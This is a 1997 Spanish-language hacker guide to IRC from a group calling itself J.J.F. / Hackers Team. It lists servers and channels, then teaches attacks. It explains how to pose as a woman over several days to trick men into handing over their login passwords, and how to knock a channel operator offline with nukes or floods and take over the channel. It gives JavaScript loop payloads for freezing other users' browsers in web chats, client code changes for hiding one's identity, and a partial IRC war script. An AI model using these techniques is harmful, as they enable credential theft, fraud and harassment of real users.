                                                               15 - 04 - 1997.
                                                                   ??????


                                                                    
                 Ŀ
                    La Guia Universal del Hacker en el IRC  
                          - J.J.F. / HACKERS TEAM -         
                                     V 1.0                  
                 

           
  ͻ
                             I M P O R T A N T E                          
  ¼
                                                                         
    Ni el autor de esta guia ni el grupo - J.J.F. / HACKERS TEAM - , se  
    hacen responsables de la utilizacion de las tecnicas aqui descritas . 
    La informacion debe ser libre por eso se ha creado esta guia , para  
    cualquiera que desee conocer el underground del IRC .                
    No pretendemos incitar al vandalismo o al sabotaje , por lo que no   
    utilizes esta informacion para joder al projimo , ya que va encontra 
    de la etica hacker , o sea que cuidado con lo que haces que el gran  
    hermano y sus perros te vigian , quedas avisado ;-)                  
   


        FICHERO OBTENIDO EN EL WEB OFICIAL DE - J.J.F. / HACKERS TEAM -

   #WEB OFICIAL :

   - http://www.angelfire.com/mi/JJFHackers
   - http://jjfhackers.home.ml.org

   #E-MAIL OFICIAL :

   - jjf_team@usa.net



   - INDICE .

     1 -  Que coo es esta guia ?
     2 -  Que es IRC ?
     3 - Para poder enpezar con un programa IRC .
     4 - Listado de servidores .
     5 - Lista de canales mas interesantes .
     6 - Hora de empezar : el arte de la Ingenieria social .
     7 - Hacerse pasar por OP y obtenerlo .
     8 - Bloquear un ordenador a traves de un WEB IRC .
     9 - Como esconder mi verdadero nombre de usuario . 
    10 - Completo script para uso personal : FooLZ.
    11 - Un caballo de batalla : Link Looker .
    12 - Nuestro propio BOT .
    13 - Metiendo el .rhosts por el IRC .       
    14 - Utilizacion de scripts .
    15 - Informacion general .
    16 - -J.J.F. / HACKERS TEAM - .



   1 -  Que coo es esta quia ?

   Bueno , ahora que ya hemos dejado el tipico rollo de la presentacion , nos
   dedicaremos a lo que interesa .
   Si estas leyendo esto , es porque tienes los mismos interes que yo :) ,
   claro que si , el HACKING , aunque por supuesto tengo otras mas que no
   viene a cuento .
   Esta guia prentende ser una ayuda a todo aquel hacker , que quiera hacer
   sus pinitos en el IRC , aqui podras encontrar , desde ingeneria social (
   que de paso nos podremos sacar unos passwords , je je je ) , pasando por
   tecnicas avanzadas y utilizacion de scripts , que moviendote un poco
   podras conseguir , pero no te preocupes te diremos donde !!!!
   Lo mas seguro es que ya conozcas mucho de la informacion aqui descrita ,
   ya que nos hemos dedicado a la recopilacion para tenerla todo juntito ,
   si ya lo tienes todo pues por lo menos lo tendras ordenado en el mismo
   fichero y si eres de aquellos que no lo tienes todo o solo conocias un
   poco pues ya sabes ...
   Pues espero que esto te pueda servir de ayuda y no me haya molestado en
   balde recopilando informacion :)
   Basta ya , que seguro que quieres empezar , si quieres saber algo de
   nosotros nos encontraras al final del fichero P-)
   Si no tiene ni idea de que es IRC entonces tendras que leer los primeros
   capitulos aunque no se ha incluido la utilizacion de los comandos del
   IRC ya que se sale de la idea de la guia y que se supone que ya sabes
   utilizar el IRC , pero sino te consideras un LAMER , entonces salta
   hasta la jugosa informacion ;-)



   2 -  Que es IRC ?

   Las siglas de IRC corresponden a INTERNET REALY CHAT , que en nuestro
   idioma se podia definir como "conversaciones en tiempo real en internet" .
   Esto significa que cuando estamos en internet con un programa IRC , como
   por ejemplo : mirc ( unos de los populares ) , pirch , jawer , virc y
   otros muchos . Podemos conectar con servidores a lo largo de la red y
   acceder a ellos para poder hablar con otros usuarios o hackers , entre
   las miles de canales (ROOM) que disponen estos servidores , en canales
   publicos , en donde puede haber decenas de usuarios conectados o en
   canales privados para que "solo haya un repector y emisor" , si lo pongo
   entre comillas sera por algo :) .
   Por ejemplo estos servidores son irc.jet.es , irc.arrakis.es , muy
   conocidos los dos en nuestro pais y canales seria #HACKERS , #SEXO ,
   #ESPAA . Mas abajo encontras una lista de servidores y otra de canales
   mas famosos .
   Creo que ya sabes como va esto por lo que pasaremos a otro capitulo .


   
   3 - Para poder empezar con un programa IRC .

   En este capitulo de dire donde poder encontrar un programa IRC , para que
   puedas empezar a conocer este fantastico mundo , pero no voy a ensear
   a utilizar ningun programa en concreto o como se utiliza un programa IRC
   o su jerga en los canales , para eso tienes que esforzarte tu solito , un
   buen consejo es siempre dirijirte al canal #beginer , donde te podran
   ayudar a solventar tus dudas y problemas .
   Para poder conseguir uno de estos programas , es muy facil , si quieres
   siempre puedes comprar alguna de esas revistas sobre internet que
   contienen un CD , seguro que habra un programa de esos , tambien estan ese
   amigo que ya lleva conectado tiempo y seguro que te podra pasar uno , y
   siempre como ultimo recurso estan internet y las BBS , donde facilmente
   podras encontrar algo , buscando en algun motor de busqueda , escribiendo
   IRC o algun nombre de algun programa arriba mencionado :)

   -> Motores de busqueda ,  por si no sabes ninguno !!
      
   . http://www.yahoo.com        En ingles 
   . http://www.altavista.com    En ingles 
   . http://www.ole.es           En espaol :)
   . http://www.ozu.com          En espaol :)

   -> Direcciones de programas IRC .

   . http://www.mirc.co.uk             Programa muy bueno .
   . http://www.megalith.co.uk/virc/   No esta mal , pero no mata .

   Bueno con esto ya podras empezar , ya que tampoco esperas que te lo haga
   todo , verdad ?



   4 - Listado de servidores .

   Aqui te describo una lista de servidores donde podras conectar a lo largo
   y ancho de la RED . Los separo en dos grupos , los primeros en espaol y
   los segundos son en ingles aunque siempre podras encontrar canales de
   lengua espaola en estos ultimos .
   Para conectar a un servidor siempre se conecta por un puerto que va del
   puerto 6667 al 6669 , tambien es posible que use el puerto 7000 , no
   te preocupes los programas lo hacen esto por ti , pero siempre esta de
   mas saberlo , ya que algunas veces debemos hacerlo manual para poder
   conectar a un servidor ya que puede tener uno de sus puertos
   con demasiado transito .
   
   -> Servidores espaoles .

   irc.jet.es
   irc.arrakis.es
   irc.catalunya.es
   irc.axis.inf
   irc.cerf.net
   irc.ctv.es
   epix.irc.net
   irc.teleline.es
   irc.sitrantor.es   
   irc.lleida.net     
   irc.minorisa.es    
   irc.conexis.es     
   irc.catalunya.net
   irc.develnet.es    
   irc.infor.es       
   irc.parser.es      
   irc.encomix.es     
   bbs.eui.upv.es     
   irc.ibernet.es     
   
   -> Servidores extranjeros .

   Undernet : chicago.il.us.Undernet.org
   Undernet : toronto.on.ca.undernet.org
   Undernet : blacksburg.va.us.undernet.org
   Undernet : pittsburgh.pa.us.undernet.org
   EFNET : irc.neosoft.com
   Random IceNet : irc.icenet.org
   Random US Undernet : us.undernet.org
   Undernet : lowell.ma.us.undernet.org
   Random EFnet : irc.chat.org
   Random DALnet : irc.dal.net
   Random EU Undernet : eu.undernet.org
   DALnet : armidale.DAL.net
   DALnet : toronto.DAL.net
   DALnet : xgw.DAL.net:
   DALnet : hades.DAL.net
   DALnet : liberator.DAL.net
   DALnet : davis.DAL.net
   DALnet : cyberverse.DAL.net
   DALnet : voyager.DAL.net
   DALnet : mindijari.DAL.net
   DALnet : spider.DAL.net
   DALnet : ohana.DAL.net
   DALnet : cin.DAL.net
   DALnet : Mystic.DAL.net
   DALnet : skypoint.DAL.net
   DALnet : kechara.ma.us.DAL.net
   DALnet : nether.DAL.net
   DALnet : stlouis.DAL.net
   DALnet : toast.DAL.net
   DALnet : uncc.DAL.net
   DALnet : dreamscape.DAL.net
   DALnet : taxi.DAL.net
   DALnet : glass.DAL.net
   DALnet : farside.DAL.net
   DALnet : phoenix.DAL.net
   DALnet : dragon.DAL.net
   EFNET : irc.io.org
   EFNET : magic.mb.ca
   EFNET : irc02.irc.aol.com
   EFNET : irc.primenet.com
   EFNET : irc.blackened.com
   EFNET : irc-2.kern.com
   EFNET : irc.cris.com
   EFNET : irc.cerf.net
   EFNET : eff.org
   EFNET : irc.colorado.edu
   EFNET : opus.bridge.net
   EFNET : irc.law.emory.edu
   EFNET : irc.ais.net
   EFNET : irc.mcs.net
   EFNET : irc.mo.net
   EFNET : irc2-1.netcom.com
   EFNET : irc2-2.netcom.com
   EFNET : irc2-3.netcom.com
   EFNET : irc.ionet.net
   EFNET : irc.epix.net
   EFNET : irc.voicenet.com
   EFNET : irc.pitt.edu
   EFNET : irc.phoenix.net
   EFNET : irc.texas.net
   EFNET : irc.psinet.com
   FEFnet : taos.arc.unm.edu
   FEFnet : irc.liii.com
   FEFnet : irc.limited.net
   FEFnet : serine.cowly.uwlax.edu
   Icenet : sydney.au.icenet.org
   Icenet : zip.au.icenet.org
   Icenet : acid.uk.icenet.org
   Icenet : phat.us.icenet.org
   Icenet : irc.us.icenet.org
   IRCNet : speech.elec.uow.edu.au
   IRCNet : irc.wu-wien.ac.at
   IRCNet : irc.funet.fi
   IRCNet : irc.pspt.fi
   IRCNet : irc.univ-lyon1.fr
   IRCNet : irc.isnet.is
   IRCNet : irc.ccii.unipi.it
   IRCNet : irc.xs4all.nl
   IRCNet : irc.sci.kun.nl
   IRCNet : irc.ludd.luth.se
   IRCNet : chat.btinternet.com
   IRCNet : irc.demon.co.uk
   IRCNet : stork.doc.ic.ac.uk
   IRCNet : irc.netcom.net.uk
   NewNet : irc.netbistro.com
   NewNet : irc.aohell.org
   NewNet : irc.dresden.com
   NewNet : irc.primary.net
   NewNet : irc.eskimo.com
   StarLink : Aspen.CO.US.StarLink.Org
   StarLink : Rochester.MI.US.StarLink.Org
   StarLink : Cinci.OH.US.StarLink.Org
   Undernet : montreal.qu.ca.undernet.org
   Undernet : vancouver.bc.ca.undernet.org
   Undernet : luxembourg.lu.eu.undernet.org
   Undernet : amsterdam.nl.eu.undernet.org
   Undernet : diemen.nl.eu.undernet.org
   Undernet : lulea.se.eu.undernet.org
   Undernet : london.uk.eu.undernet.org
   Undernet : auckland.nz.undernet.org
   Undernet : phoenix.az.us.undernet.org
   Undernet : sandiego.ca.us.undernet.org
   Undernet : atlanta.ga.us.undernet.org
   Undernet : manhattan.ks.us.undernet.org
   Undernet : ann-arbor.mi.us.undernet.org
   Undernet : springfield.mo.us.undernet.org
   Undernet : stlouis.mo.us.undernet.org
   Undernet : dallas.tx.us.undernet.org
   Undernet : washington-r.dc.us.undernet.org

   Todavia quedan muchos servidores , como por ejemplo espaoles pero tampoco
   este vez lo hare todo , je je je .



   5 - Lista de canales mas interesantes .

   Aqui pongo una serie de canales que yo considero como los mas interesantes
   para los hackers .
   Aunque como hay muchos eso depende de cada uno , por desgracia 
   los servidores extranjeros son los que mas canales ofrecen aunque les sera
   dicifil para aquellos que no sepan ingles .
   Esta vez no hare distincion entre los servidores por lo que puede haber
   canales de servidores espaoles y extranjeros mezclados .
   Tambien decir que hay muchos mas que pueden ser interesantes , solo hay
   que buscarlos :)

   -> Listado de canales .

   #2600
   #cellular
   #hack
   #phreak
   #linux
   #realhack
   #root
   #unix
   #warez
   #hackers
   #hackers_novatos
   #hack_novatos
   #666
   #virus



   6 - Hora de empezar : el arte de la Ingenieria social .

   Se llama ingenieria social , a una rama del hacking que consiste en
   hacernos pasar por otra persona y que este LAMER nos diga lo que
   queremos saber , como por ejemplo su login y password , asi ya
   tendremos su cuenta para lo que querramos o le pedimos lo que se
   nos ocurra , esto es de libre eleccion .
   Esto que parece una tonteria , es una rama dificil de hacking ya
   que no se puede hacer a la ligera , hay que seguir unas medidas para
   conseguir nuestros propositos .

   -> Consejos para utilizar la ingenieria social .

   . Parecer seguro y con autoridad de lo que se dice , ya que si vacilamos  
     perderemos confianza del LAMER .
   . Comenzar en canales faciles donde la gente no sepa mucho de esto ,
     como por ejemplo #beginer , donde les podemos pegar el timo , tambien
     en canales donde algun listillo por chulo nos diga lo que queremos
     saber , cuando ya tengamos cierta experencia podemos pasar a canales
     mas dificiles .
   . A veces habra que trabajar durante varios dias para que nos cojan
     cierta confianza :)
   . Tambien pasarnos como una chica o un Lamer para que alquien nos ayude
     y nos explice como funcina esto de internet , suele dar resultado .
   . Procurar no decir que viviis cerca ya que te podia decir que te da su
     password en persona o podria proponer quedar un dia en un cafe ,
     entonces ya se lia .
  
  Conviene seguir estas medidas para nuestra seguridad y no seanos pillados
  en accion .
  Que nos hagamos pasar por una chica o un lamer es mas facil que un "op" ,
  ya que en principio no seremos operadores del canal .

  -> Explicaremos el caso de ser chica , je je je

  Entramos en un canal de contactos , sexo o territoriales , con el nombre
  de CAROL, MARTA , MARIA , etc ... Mejor que sea un nombre de chica y no
  una cosa sugerente , aunque si no lo haces procura que llame la atencion
  y se crean que eres una chica .
  Ya estamos en uno de estos y nos ponemos en contacto con alguno del canal ,
  preferiblemente un chico , en algunos canales ellos se pondran en contacto
  con nosotros al momento :)
  Comenzamos a hablar con uno , sera dificil que la primera vez que hablamos
  con el LAMER nos de el password , pero nada es imposible para los hackers ,
  por esta razon sera conveniente que hablemos con el varios dias . Tendremos
  que inventar una ficha creible para "nuestra chica" y contarsela para que
  nos coja cario .
  Por ejemplo , le podimos decir que eres nueva en internet y no sabes como
  funciona exactamente y te parece dificil y te explique como lo hace el
  para conectarse con su proveedor haber si por casualidad nos dice su
  login y su password para conectarse .
  Otra cosa que le podemos decir es que la conexion es de nuestro hermano o
  algo por el estilo , y que solo la tenia por un mes y que ya se acaba el
  plazo y no la va a renovar , asi que haber si consigues que el LAMER nos
  ceda su login y su password para poder quedar con el en internet , porque
  te encanta hablar con el .

  Aqui te he dado un ejemplo , pero como este hay miles solo tenemos que
  pensar en algun personaje que nos pueda proporcionar frutos , por el
  esfuerzo .
  Aunque aqui no viene a cuento , esta tecnica se puede aplicar al telefono
  diciendo que eres el proveedor y que tiene que darte su password porque
  habeis tenido probemas con los ordenadores o cualquier historia creible .
  El unico inconveniente es que conoceran nuestra voz , cosa que en el IRC
  no podran .



  7 - Hacerse pasar por OP y obtenerlo .

  Aqui explicaremos una tecnica que consiste en una combinacion de script e
  ingenieria social ;-)
  Para comenzar necesitamos disponer de un nuke o un flood , para hacer caer
  del servidor a nuestra presa , je je je . Este tipo de programas los
  podemos encontrar en varios script .

  -> Lo que necesitamos .

  . El mirc 
  . un script ( 7th sphere , Gangsta-G , etc ...)
  . un poco de picardia XDDD

  Desgraciamente en nuestros dias , ya casi no se puede tirar a nadie
  mediante flood por lo que aconsejo un nuke o otra "utilidad" para nuestra
  finalidad .
  Bueno finalmente ya estamos equipados para la "incursion" y ha ello vamos
  , por lo que primero entramos al servidor que nos interese , luego claro
  esta escojemos un canal , entramos en el y miramos a los OP , procurar que
  sean tontos , elegimos una victima que sea OP , le atacamos con el flood
  o el nuke o alguna otra herramienta que sirva .
  Si conseguimos nuestro obejetivo y el OP cae del servidor , entonces
  felicidades :) , ahora solo nos queda salir del canal , cambiar nuestro
  nick ( como te llames en el servidor ) por el suyo y volver al canal
  de antes , diciendo : "joder , me han tirado . Devolverme OP , plz ."
  Si algun OP tonto cae en la trampa y nos da el OP , entonces el canal
  es nuestro , elegimos la opcion "mass-de-op" de nuestro script y sino
  manualmente y quitamos a todos los demas OP y el canal sera nuestro
  y podemos hacer lo que nos apetezca :))
  Si fallamos lo unico que haremos es crearnos enemigos , por lo que no
  hagais esto con vuestro nick habitual , hasta que no este seguro de
  ti mismo .
  Provando esta tecnica al principio puede ser dificil , por lo que
  recomiendo que hagas algunas pruebas con algun colega y cuando ya
  este listo , ajustale las cuentas a ese OP que es un vacilon ;-)

  

  8 - Bloquear un ordenador a traves de un WEB IRC .

  En este capitulo de nuestra querida guia explicaremos una tecnica , que
  consiste en bloquear un ordenador a traves de un WEB IRC , que no sabias
  que a traves del WEB se puede hablar , en que mundo vives :)
  Para esto lo unico que tenemos que hacer es crear un pequeo script en
  JavaScript y ya esta . 
  Aqui te pongo dos , pero que los dos tinen la misma finalidad , je je je

  -> Los Scripts .

  . <script language=javascript> for(i=1; i<2;){ alert("texto") }</script>
  . <script language=javascript>a=1; for(i=1; i<2;){a=a+1}</script>

  No voy a explicar los script ya que son muy faciles de entender , aunque
  en el primero donde pone "texto" lo podemos cambiar por lo que queramos .
  Tenemos que decir que estos script no siempre funcionan , debido al CGI
  que utilizen , para saber si los podemos utilizar basta que escribamos
  "<" y sino sale o sale otra cosa , entonces desgraciadamente no los
  podremos utilizar :( y no se te ocurra ejecutarlo .
  Para comenzar escribimos alguno de los script y le damos al boton de
  enviar por lo que se enviara a todos del canal a no ser que se lo
  enviemos a uno en particular . Desgraciadmente de las dos formas
  nosotros tambien seremos atacados por nuestro script , pero
  podemos pararlo aunque es un poco dificil .
  Para ello hay varias formas , la primera seria vigilar el Trumpet para
  saber cuando nuestra seal es enviada , un poco dificil sino se conoce
  el Trumpet , sino sabes lo que es esto pues olvida este forma :) , otra
  seria pulsar el boton de enviar como antes y la pantalla se quedara en
  blanco y acto seguido pulsar el boton de stop .
  Tambien podemos tener dos WEB cargados , uno en el canal y otro no
  y cuando el del canal se bloquee pues lo cerramos y entramos con el
  otro al canal y nos reimos un rato del personal XDDDD
  Y seguro que ya se te ocurrian mas formas para detener tu script .

  

  9 - Como esconder mi verdadero nombre de usuario .

  Interesante tecnica pero lo malo es que solo se puede utilizar para
  aquellos que se muevan en el mundo unix ;-)
  Basicamente consiste en tener el codigo fuente de nuestro cliente
  de IRC y le cambianos las rutinas en C , para que esconda nuestros
  datos , je je je
  
  -> Para obtener el codigo fuente del cliente IRC por FTP .

  .  cs.bu.edu /irc/clients.

  Cuando ya nos hemos bajado el cliente miramos los siguientes ficheros
  en codigo C , irc.c y ctcp.c . Entonces le cambianos en el irc.c el
  nombre de usuario y en el ctcp.c la informacion ctcp y solo nos queda
  compilarlo :)
  Aqui doy un pequeo ejemplo de como quedaria esta pequea operacion ,
  aunque claro que esta en ingles , pero no pasa nada para aquellos que
  no sepan ya que solo hay que copiar :-)

  -> El codigo fuente modificado del cliente IRC .

  *** ctcp.c  Sin modificar . 
  --- ctcp.c  Modificado .    

  ***************
  *** 331,337 ****
         struct  passwd  *pwd;
         long    diff;
         int     uid;
  !      char    c;
  
         /*
          * sojge complained that ircII says 'idle 1 seconds'
  --- 331,337 ----
         struct  passwd  *pwd;
         long    diff;
         int     uid;
  !      char    c, *fing;
  
         /*
          * sojge complained that ircII says 'idle 1 seconds'
  ***************
  *** 348,354 ****
         if (uid != DAEMON_UID)
         {
    #endif /* DAEMON_UID */ 
  !               if (pwd = getpwuid(uid))
                  {
  			char	*tmp;
  
  --- 348,356 ----
         if (uid != DAEMON_UID)
         {
    #endif /* DAEMON_UID */ 
  !               if (fing = getenv("IRCFINGER"))
  !                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
  !               else if (pwd = getpwuid(uid))
                 {
                         char    *tmp;


  *** irc.c  Sin modificar .   
  --- irc.c  Modificado .     

  ***************
  *** 510,516 ****
                 malloc_strcpy(&my_path, "/");
         if (*realname == null(char))
                 strmcpy(realname, "*Unknown*", REALNAME_LEN);
  !       if (*username == null(char))
          {
                 if (ptr = getenv("USER"))
  			strmcpy(username, ptr, NAME_LEN);
  --- 510,518 ----
                 malloc_strcpy(&my_path, "/");
         if (*realname == null(char))
                 strmcpy(realname, "*Unknown*", REALNAME_LEN);
  !       if (ptr = getenv("IRCUSER"))
  !               strmcpy(username, ptr, NAME_LEN);
  !       else if (*username == null(char))
         {
                 if (ptr = getenv("USER"))
                         strmcpy(username, ptr, NAME_LEN);

  Es bastante facil de entender por lo que no creo neceario tener que
  explicar el codigo , sino lo entiendes porque no programas en C pues
  ya sabes comprate un buen libro o preguntale a ese amigo tuyo que
  si que sabe , por cierto saber C es algo necesario en este mundo :)

  

  10 - Un completo script para uso personal : FooLZ.

  Joer no te quejaras porque viene un script entero por lo que podras
  entender como se hace y crear tus propias variantes , je je je
  Como suele ocurrir el script esta en ingles aunque esta bastante
  completito y nos dara una base para poder desarrollar nuestras
  mejoras .

  -> El script .

  ECHO [FooLZ] Loading...

  # oH-KaY SKRiPT RaPeRz, HeRe'Z ANoTHeR oNE FoR YoU To RaPe.
  # MoST oF THe iDEaZ iN FooLZ aRE NoT oRIGiNAl, aND sOME oF THe
  # RoUTiNES CoME FRoM DETURBO aNd TextBox. 
  # THe /away LoGGiNG aND aUTo-Op-iNG iDEaZ eYE GoT FRoM TooLZ aND iNFiNiTY,
  # HoWEvEr aLL THe k0D3 iS oRiGiNAL (eYE SToLE THe iDEA, BuT NoT THe k0d3)
  # SoME oF THe THiNGS THaT WoUlD Be oF MoST iNTEReST To SKRiPT RaPeRZ iS
  # THe ISONCHAN() RoUTiNE aND THe K-KiCK CoMMAND, aS eYE HaVE NoT SeeN ThEM
  # iN ANy oTHER SKrIPtZ. THe SPlATTeR KiCK PRoTEcTiON I SToLE oF CRyPT KeePER,
  # eYE DuNNO iF He'S PuT iT iN TextBox YeT, BuT iT iS HiS iDEa

  # NOTEZ: iTZ KiNDA BuGGY.. eYE DoN'T THiNK The MaSS-DE-aWP PRoTeCTiON WoRX,
  # aND BeCaUSE oF THe HeAVY uSE oF ISCHANOP(), DE-SyNC'S WiLL MaKE FooLZ aCT
  # WiERD.

  ^ASSIGN FOOLZVER .31337
  ^ASSIGN FOOLZRELEASE 1.0
  ^ASSIGN MSG_BRACE_1 [
  ^ASSIGN MSG_BRACE_2 ]
  ^ASSIGN BOLD 
  ^ASSIGN UNDER 
  ^ASSIGN HIGHL 
  ^ASSIGN ENVBRITE ON
  ^ASSIGN WARMODE OFF
  ^ASSIGN SNOOP_MODE ON
  ^ASSIGN -AUTOOP
  ^ASSIGN -IS_AWAY
  ^ASSIGN -FOOLZ_INFO

  EVAL SET CLIENT_INFORMATION FooLZ $FOOLZVER BeTa
  SET STATUS_USER FooLZ
  SET NOVICE OFF
  SET EXEC_PROTECTION OFF
  SET HIGHLIGHT_CHAR BOLD
  SET -STATUS_MAIL
  SET MAIL 1
  SET STATUS_FORMAT %T %*%@%N%#%S%H%B%Q%A%C%+%I%O%F %W%>%U%M%X%Y%Z 
  SET INDENT ON
  SET SHOW_AWAY_ONCE ON
  SET SEND_IGNORE_MSG OFF
  SET HIDE_PRIVATE_CHANNELS OFF
  SET HOLD_MODE OFF

  BIND ^[ PARSE_COMMAND ^GETMSG $MSGLIST
  BIND ^A SELF_INSERT
  BIND ^B SELF_INSERT
  BIND ^_ SELF_INSERT
  BIND ^V SELF_INSERT
  BIND ^Z STOP_IRC

  # The BoW script library
   ALIAS SHOW_USAGE {
    ECHO [FooLZ] Don't be a FooL. usage: $0-
  }

  ALIAS NOT_OPPED {
    ECHO [FooLZ] FooL!!! You must be opped to $0-
  }

  # usage: OP_BEGGER <nick> [channel] [comments]
   ALIAS OP_BEGGER {
    ^ASSIGN OBMSG [FooLZ] aUTo KiCK FoR aWP BeGGeRzZ
    ^ASSIGN OKMSG [FooLZ aWP BeGGeR KiCK]
    ^ASSIGN OPTMSG [FooLZ] oP BeGGeR TaRGeTeD
    IF ([$2]) {
       IF (ISCHANOP($N $1)) {
          ECHO $OPTMSG - $0 : $2-
         KICK $1 $0 $OKMSG
         NOTICE $0 $OBMSG
      }
   } {
      IF (ISCHANOP($N $C)) {
         ECHO $OPTMSG - $0
         KICK $C $0 $OKMSG
         NOTICE $0 $OBMSG
      }
   }
   ^ASSIGN -OBMSG
   ^ASSIGN -OKMSG
   ^ASSIGN -OPTMSG
  }

  ALIAS GET_MAH_INFO {
   USERHOST $N -CMD ^ASSIGN FOOLZ_INFO $$0!$$3@$$4
  }

  # usage: BAN_THIS_BITCH <nick> <channel> <userhost>
   ALIAS BAN_THIS_BITCH {
    IF (ISCHANOP($N $1)) {
      MODE $1 -o-b $0 $2
      NOTICE $0 [FooLZ] BaN PRoTeCTiON aCTiVaTED - PHeAR BoW
   }
  }

  # usage: ISONCHAN(<nick> <channel>)
   ALIAS ISONCHAN {
    ^ASSIGN PERSON $0
    ^ASSIGN APERSON @$0
    ^ASSIGN -CHANLIST 
    ^ASSIGN MYRC 0
    ^ON -NAMES * {
      ^ASSIGN CHANLIST $1-
      IF (MATCH($PERSON $CHANLIST)) { 
        ^ASSIGN MYRC 1
      }
      IF (MATCH($APERSON $CHANLIST)) {
        ^ASSIGN MYRC 1
      }
   }
   ^SET DISPLAY OFF
   ^NAMES $1
   WAIT
   ^SET DISPLAY ON
   ^ASSIGN FUNCTION_RETURN $MYRC
   ^ASSIGN -MYRC
   ^ASSIGN -PERSON
   ^ASSIGN -CHANLIST 
  }

  # usage: ISNICK(<nick>)
   ALIAS ISNICK {
    @ FUNCTION_RETURN = 0
     IF ([$0]) {
      USERHOST $0 -CMD IF ([$3]) {
         IF ([$4] != [<UNKNOWN>]) {
            @ FUNCTION_RETURN = 1
         }
      }
      WAIT
    }
  }

  # usage: REAL_MODE <person> <channel> <mode change>
   ALIAS REAL_MODE {
    ECHO *** Mode change "$2-" on channel $1 by $0
  }

  ALIAS FSPLIT {
    IF ([$1]) {
      SIGNOFF $1 $S
   } {
      SIGNOFF aych-pee.bow.org $S
    }
  }


  ON ^SEND_NOTICE *

  ON ^CTCP "* CHAT" {
    NOTICE $0 [FooLZ] DCC CHaT FLooD PRoTeCTiON - MSG Me YoU WaNT TO DCC CHaT
  }

  ON ^NOTICE * {
    IF ([$1]==[PONG]) {
       CTCP $0 FooLZ PONG'S aRE LaME - GeT a ReAL FuCKiNG SKRiPT
   } {
      IF ([$1]==[Ouch!]) {
         CTCP $0 FooLZ PING ReSPoNSeZ aRE LaME.. - GeT a ReAL FuCKiNG SKRiPT
      } {
         ECHO \-$0\- $1-
      }
    }
  }

  ON ^MSG * {
    IF (RMATCH($1 OP*)) {
      IF (ISCHANOP($N $C)) {
         OP_BEGGER $0 $C $1-
      }
   } {
      IF (RMATCH($1 INVITE)) {
         IF (ISCHANNEL($2)) {
            IF (ISONCHAN($N $2)) {
               IF (ISCHANOP($N $2)) {
                  ^SET DISPLAY OFF
                  INVITE $0 $2
                  WAIT
                  ^SET DISPLAY ON
                  ECHO [FooLZ] iNViTiNG $0 To $2
                  NOTICE $0 [FooLZ iNViTE BeGGER] - THeRE Y00 G0 BiTCH.
               } {
                  NOTICE $0 [FooLZ iNViTE BeGGER] - FooL!! eYE DoN'T GoT DaH PLuS oH oN DaT CHaNNEL
               }
            } {
               NOTICE $0 [FooLZ iNViTE BeGGER] - FooL!! eYE aM NoT oN THaT CHaNNeL!
            }
         } {
            NOTICE $0 [FooLZ iNViTE BeGGeR] - usage: /MSG $N INVITE <channel>
         }
      } {
         IF ([$IS_AWAY]==[YES]) {
            IF ([$SNOOP_MODE]==[ON]) {
               ^ASSIGN LB \(
               ^ASSIGN RB \)
               ECHO [aWaY]:$BOLD$LB$BOLD$0$BOLD$RB$BOLD $1-
               ^ASSIGN -LB
               ^ASSIGN -RB
            }
            EXEC echo "$BOLD$MSG_BRACE_1$BOLD$0$BOLD$MSG_BRACE_2 $1-" >> ~/.FooLZ.aWaY
            NOTICE $0 [FooLZ] $N iZ aWaY - $AWAY_MSG
            NOTICE $0 [FooLZ] BuT We GoT YoUR MeSG aND WiLL SHooT iT To 'eM LaTaH - PHeAR
         } {
            ECHO $BOLD$MSG_BRACE_1$BOLD$0$BOLD$MSG_BRACE_2 $1- 
         }
       }
    }
  }

  ON #-MSG 111 * ^ADDMSG $0 $MSGLIST
  ON ^SEND_MSG "* *" ECHO $BOLD$MSG_BRACE_1$BOLD$0$BOLD$MSG_BRACE_2$BOLD $1- 
  ON #-SEND_MSG 111 * ^ADDMSG $0 $MSGLIST

  ON ^PUBLIC "% % !op*" {
   OP_BEGGER $0-
  }
  ON -PUBLIC "* phear BoW*" {
   MODE $1 +v $0 
   NOTICE $0 AuTo-VoP FoR BoW PHeAReRz
  }
  ON ^PUBLIC "% % *PROTECTION ACTIVATED*" {
   MSG $0 [FooLZ] *** MASS LAMER PROTECTION ACTIVATED ***
   KICK $1 $0 [FooLZ] *** MASS LAMER PROTECTION ACTIVATED ***
  }

  ON #-RAW_IRC -252 "% KICK % *" IF ([$3]==N){QUOTE JOIN $2}

  ON ^MODE "% #% *" {
    IF ((RMATCH($0 *.*))&&(RMATCH($2 *+*o*))) {
      IF (([$WARMODE]==[ON])&&(ISCHANOP($N $C))) {
         MODE $1 -ooo $3-
         ECHO [FooLZ] IRC HaQR DeTeCTeD FrOM $0 oN $1 HaQiNG aWPZ: '$3-' 
         NOTICE $1 [FooLZ] IRC HaQR DeTeCTeD FrOM $0 oN $1 HaQiNG aWPZ: '$3-' 
         NOTICE $1 [FooLZ] - [FooLZ iZ iN WaRMoDE] server ops revoked.
      } {
         REAL_MODE $0-
      }
   } {
      IF (RMATCH($2 *-oo*)) {
         IF ([$WARMODE]==[ON]) {
            IF (ISCHANOP($N, $C)) {
               IF ([$0] != [$N]) {
                  MODE $1 -o $0
                  ECHO [FooLZ] MaSS De-aWP DeTeCTeD By $0!
                  NOTICE $1 [FooLZ] MaSS De-aWP DeTeCTeD By $0 - aWPz ReVoKeD!
               }
            } {
               REAL_MODE $0-
            }
         } {
            REAL_MODE $0-
         }
      } {
         IF (RMATCH($2 *+b*)) {
            IF (RMATCH($FOOLZ_INFO $3)) {
               BAN_THIS_BITCH $0 $1 $3
            }
            IF (RMATCH($FOOLZ_INFO $4)) { 
               BAN_THIS_BITCH $0 $1 $4
            }
            IF (RMATCH($FOOLZ_INFO $5)) {
               BAN_THIS_BITCH $0 $1 $5
            }
            IF (RMATCH($FOOLZ_INFO $6)) {
               BAN_THIS_BITCH $0 $1 $6
            }
         } 
         REAL_MODE $0-
      }
    }
  }

  ON -ACTION * {
    IF (MATCH($N $2-)) {
      IF (ISCHANOP($N $C)) {
         IF ([$WARMODE]==[ON]) {
            KICK $C $0 [FooLZ SPlATTeR PRoTeCTiON]
         }{
            MODE $C -o $0
            NOTICE $0 [FooLZ] SPlATTeR KiCK PRoTeCTiON ACtiVaTeD
         }
      } 
    }
  }

  ON -JOIN * {
    ^ASSIGN JCHAN $1
    USERHOST $0 -CMD IF ([$3]) { 
      ^ASSIGN USERSITE $3@$4 
      IF (MATCH($USERSITE $AUTOOP)) {
         IF (ISCHANOP($N $JCHAN)) {
            MODE $JCHAN +ooo $0 $0 $0
